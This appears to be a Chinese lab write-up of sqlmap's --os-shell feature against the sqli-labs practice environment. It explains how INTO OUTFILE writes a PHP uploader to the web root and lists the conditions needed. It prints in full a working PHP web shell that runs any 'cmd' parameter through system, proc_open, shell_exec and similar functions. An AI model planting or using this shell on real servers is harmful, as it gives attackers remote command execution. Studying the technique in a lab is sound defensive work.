sqlmap --os-shell
环境还是用的sqli-labs
首先使用--os-shell时要他这里有注入点
这里我是知道这里有注入点直接加--os-shell,下面是成功截图
会让你选择语言和路径,我用的是D:\phpstudy_pro\WWW\
出现os-shell>则成功
原理:
看原理可以抓包,通过-proxy让burp抓包看
这里不抓包直接看,可以看到我们给的绝对路径下出现两个文件
?访问????????tmpuhhyu.php
?就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
然后利用tmpuhhyu.php上传了一个tmpbulmt.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来
查看另一个php文件源码
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
使用条件?
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。 很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
补充:
上面into outfile函数写文件的写法可以学习一下,用法:
?
|